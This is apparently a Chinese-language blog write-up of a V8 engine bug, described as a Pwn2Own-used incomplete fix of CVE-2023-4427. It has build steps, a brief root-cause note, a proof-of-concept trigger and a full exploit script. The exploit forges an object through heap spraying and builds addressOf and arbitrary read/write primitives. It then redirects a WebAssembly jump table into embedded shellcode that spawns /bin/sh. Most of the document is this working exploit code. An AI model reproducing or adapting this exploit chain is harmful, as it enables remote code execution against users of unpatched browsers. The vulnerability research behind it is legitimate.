前言
这个洞在今年的 Pwn2Own
上被利用,目前还没有公开报告。该漏洞可以说是 CVE-2023-4427
漏洞未正确修复,其原理和利用跟 CVE-2023-4427
没有本质区别,CVE-2023-4427
之前分析过,所以这里不作过多说明,仅仅做记录
环境搭建
git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D
漏洞分析
可以看到这里对之前修复的 CVE-2023-4427
增加了一种情况:
- 当
{split_map}'s descriptors
存在enum_cache
时,也要进行复制更新
则之前的修复遗漏了这种情况,这里也不多说了,参考 CVE-2023-4427
就行,毕竟这个漏洞就是 CVE-2023-4427
修复不完全导致的,这里直接看 POC
:
const obj1 = {};
obj1.a = 1;const obj2 = {};
obj2.a = 1;
obj2.b = 2;const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;// init enum cache
for (let key in obj2) {}function trigger(callback) {for (let key in obj2) {callback();console.log(obj2[key]);}
}%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);trigger(_=>{obj4.c = 1.1;for (let i in obj1) {}}
);
输出如下:
$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined
大致原理如下:
这里可以出现一种情况,即 descriptor array0
的 enum cache
不为空,而 descriptor array1
的 enum cache
为空,那么当修改 obj4.c = 1.1
时,由于这里是从 Smi
变成了一个 double
,所以并不是简单修改描述符数组,而是会为 obj4
创建一个新的 map
,并沿着 map transition tree
进行修改,使其 descriptor array
保持一致。而此时 obj4
对应的描述符数组的 enum cache
为空,所以不会对新的描述符数组的 enum cache
进行更新,从而导致 obj2
对应的 enum cache
也为空。后面的情况跟 CVE-2023-4427
就是如出一辙了…
漏洞利用
针对此类漏洞,本来是可以泄漏 TheHole
的,但是高版本利用不了,所以这里还是只能写一个依赖特定版本的利用(使用硬编码…
简单糊了一个…
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_l() {return u32[0];
}function get_h() {return u32[1];
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function add_ref(obj) {roots[index++] = obj;
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {add_ref(new ArrayBuffer(0x200000));}add_ref(new ArrayBuffer(8));
}function hexx(str, val) {console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}var spray_array = Array(0xf700);
var data_start_addr = 0x00442129+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x004c2129;//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();const object1 = {};
object1.a = 1;const object2 = {};
object2.a = 2;
object2.b = 2;//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;let fake_array;
for (let key in object2) {}
function trigger(callback) {for (let key in object2) {callback();fake_array = object2[key];}
}//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {trigger(_ => _);trigger(_ => _);trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
// print("callback");object4.c = 1.1;for (let key in object1) { }
// %DebugPrint(object2);
// readline();
});//print(fake_array === %TheHole());
//%DebugPrint(fake_array);function addressOf(obj) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);leak_object_array[0] = obj;f64[0] = fake_array[0];return u32[0];
}//var test = [1.1];
//hexx("test address", addressOf(test));
//%DebugPrint(test);function arb_read_cage(addr) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);return f64_to_u64(fake_array[0]);
}function arb_write_half_cage(addr, val) {let orig_val = arb_read_cage(addr);fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}function arb_write_full_cage(addr, val) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);fake_array[0] = u64_to_f64(val);
}var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {wmain();
}let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var pwn = instance.exports.pwn;
pwn();//%DebugPrint(instance);
//readline();
效果如下:
参考
https://chromium-review.googlesource.com/c/v8/v8/+/5401860/2/src/objects/map-updater.cc#1055
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html